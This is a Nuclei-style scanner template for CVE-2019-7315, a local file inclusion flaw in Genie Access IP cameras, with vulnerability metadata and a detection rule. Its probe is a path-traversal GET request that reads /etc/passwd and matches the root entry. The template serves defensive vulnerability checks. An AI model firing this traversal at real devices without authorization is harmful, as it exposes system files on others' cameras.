id: CVE-2019-7315

info:
  name: Genie Access WIP3BVAF IP Camera - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Genie Access WIP3BVAF WISH IP 3MP IR Auto Focus Bullet Camera devices through 3.X are vulnerable to local file inclusion via the web interface, as demonstrated by reading /etc/shadow.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the local file inclusion vulnerability.
  reference:
    - https://labs.nettitude.com/blog/cve-2019-7315-genie-access-wip3bvaf-ip-camera-directory-traversal/
    - https://vuldb.com/?id.136593
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7315
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-7315
    cwe-id: CWE-22
    epss-score: 0.11198
    epss-percentile: 0.95513
    cpe: cpe:2.3:h:genieaccess:wip3bvaf:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: genieaccess
    product: wip3bvaf
  tags: cve,cve2019,camera,genie,lfi,iot,genieaccess,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200ea3a383b64f8c775a0ec543a09a5542a817f5be568c7c6e56c0a942fad8f874022100a1afe1d427364a5e967cd1fade02ebe981da3ebfe276188ea8569cc34380494c:922c64590222798bb761d5b6d8e72950